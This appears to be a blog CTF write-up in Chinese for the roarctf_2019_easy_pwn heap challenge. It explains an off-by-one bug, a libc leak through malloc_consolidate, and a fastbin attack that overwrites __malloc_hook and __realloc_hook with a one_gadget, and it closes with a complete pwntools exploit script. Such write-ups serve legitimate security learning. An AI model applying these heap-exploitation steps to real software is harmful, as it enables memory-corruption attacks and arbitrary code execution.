roarctf_2019_easy_pwn题解


#漏洞分析

菜单题,注意到edit函数中在判断size时的一个异常的判断 Screen Shot 2020-07-19 at 15.21.30 可以看到当我们输入的size比创建堆块时输入的size恰好大10时可以产生一个off-by-one漏洞。因此我们可以考虑利用该漏洞进行堆溢出攻击。 可行性:我们采用下面的分配序列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x18)
add(0x90)
add(0x68)
add(0x8)
delete(1)
norm_size = 0x8 * 2 + chunk.maxSize(144) + 0x8 * 3
# 这样计算使得第二个堆块包含进第三个堆块的prev_size, size以及fd, bk
chunk.norm_size = norm_size
max_size = chunk.maxSize(0x18)
# 考虑了堆块复用的堆块最大负载
edit(0, max_size + 10, b'a' * max_size + chunk[1][:1])
# 使用chunk[1][:1]取出chunk的size域的第一个字节
add(chunk.size2request(norm_size))
# 根据覆盖后的堆块大小确定我们应申请的堆块大小

我们申请第二个堆块的大小为144,这使得它在被free后放到了unsorted bin中,这里避免它被释放到fastbins中是因为fastbins中的堆块被分配时会对size域进行检查。相关的检查代码如下:

1
2
3
4
5
6
7
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}

对第一个堆块使用edit操作覆盖了第二个堆块的size的低八位后,堆块结构如下: Screen Shot 2020-07-20 at 17.01.11 经过简单的计算可以得知,第二个堆块已经覆盖了第三个堆块的前0x20个字节(到0x55ba434470e0)。再次malloc,我们便可以获得对第三个堆块的控制权,如下图所示。 Screen Shot 2020-07-20 at 17.02.51 接下来我们只需泄露libc再利用fastbin attack修改free_hook为one_gadget即可。

#泄露libc

说到泄露libc,我们首先想到使用unsortedbin attack泄露。为了将第三个块放入unsorted bin,我们可首先使用edit修复第三个块的size域为0x21,接下来free使其进入fastbin。我们知道,malloc_consolidate函数会将fastbin中的所有块放入unsorted bin,又有scanf函数在接受超长的字符串时会触发malloc_consolidate。可以进行如下的操作:

1
2
3
4
5
6
7
8
9
10
chunk.req_size = 0x68
max_size = chunk.maxSize(0x90)
edit(1, max_size + 0x8, max_size * b'a' + chunk[1])
# chunk[1]用于获得整个size域,此处edit用来修复第三个堆块损坏的size域
delete(2)
# 释放第三个堆块进入fastbin
a.sla("choice: ", '6' * 0x420)
# 触发malloc consolidate
show(1)
# 显示堆块内容,泄露出main_arena地址

至此,libc被成功泄露,我们只需劫持控制流到one_gadget即可。首先通过fastbin attack修改malloc_hook为one_gadget,并通过一次add触发:

1
2
3
4
5
6
7
8
add(0x68)
chunk.fd = chunk_addr
delete(2)
edit(1, max_size + 0x8 * 2, max_size * b'a' + chunk[1:3])
add(0x68)
add(0x68)
edit(4, 0x3 + 0x18, (0x3 + 0x8) * b'a' + p64(0) + p64(one_addr))
add(1)

然而实测中找不到有效的gadget,这里需要使用一个知识点:由于__malloc_hook上方便是__realloc_hook,因此实际应用中可以将__malloc_hook劫持到__libc_realloc函数调用__realloc_hook前的位置,再将__realloc_hook劫持到one_gadget。这样操作的作用在于借用__libc_realloc函数头部pop,sub rsp等指令来调整栈帧,从而使one_gadget起效。 经过上述修改后,完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from sys import argv
from autopwn.core import *


def exp(self, a:pwnlib.tubes.tube.tube):
choose = lambda x: a.sla("choice: ", str(x))
chunk = Chunk(ARCH_x64)
chunk.A = MAIN_ARENA
chunk.M = NOT_MMAPPED
chunk.P = PREV_INUSE

mhook_offset = self.lib[0].symbols['__malloc_hook']
rhook_offset = self.lib[0].symbols['__realloc_hook']
chunk_offset = mhook_offset - 0x3 - 0x8 * 4
system_offset = self.lib[0].symbols['system']
realloc_offset = self.lib[0].symbols['realloc']
arena_offset = mhook_offset + (mhook_offset - rhook_offset) * 2
one_offset = 0xf02a4

def add(size):
choose(1)
a.sla("size: ", str(size))

def edit(idx, size, txt):
choose(2)
a.recvline()
a.sla("index: ", str(idx))
a.sla("size: ", str(size))
a.recvuntil("content: ")
a.send(txt)

def delete(idx):
choose(3)
a.sla("index: ", str(idx))

def show(idx):
choose(4)
a.sla("index: ", str(idx))

gdb.attach(a, breakat(self.elf, [0x000CCC]))

add(0x18)
add(0x90)
add(0x68)
add(0x8)
delete(1)
norm_size = 0x8 * 2 + chunk.formSize(144) + 0x8 * 4
chunk.norm_size = norm_size
max_size = chunk.maxSize(0x18)
edit(0, max_size + 10, max_size * b'a' + chunk[1][:1])
print(norm_size)
add(chunk.size2request(norm_size))

chunk.req_size = 0x68
max_size = chunk.maxSize(0x90)
edit(1, max_size + 0x8, max_size * b'a' + chunk[1])
delete(2)
a.sla("choice: ", '6' * 0x420)
show(1)

a.ru("content: ")
a.recvn(160)
arena_addr = u64(a.recvn(8)) - 184
chunk_addr = arena_addr + chunk_offset - arena_offset
one_addr = arena_addr + one_offset - arena_offset
realloc_addr = arena_addr + realloc_offset - arena_offset
log.success(f"{arena_addr=:#x}")
log.success(f"{chunk_addr=:#x}")

add(0x68)
chunk.fd = chunk_addr
delete(2)
edit(1, max_size + 0x8 * 2, max_size * b'a' + chunk[1:3])
add(0x68)
add(0x68)
edit(4, 0x3 + 0x18, (0x3 + 0x8) * b'a' + p64(one_addr) + p64(realloc_addr + 16))
add(1)
return


def get_flag(self, a:pwnlib.tubes.tube.tube):
a.interactive()
return None


ctf(argv, exp, get_flag,
inter="../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so",
needed=["../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so"])

← Prev DASCTF八月赛SoSafeMinePool题解 | Glibc的堆实现 Next →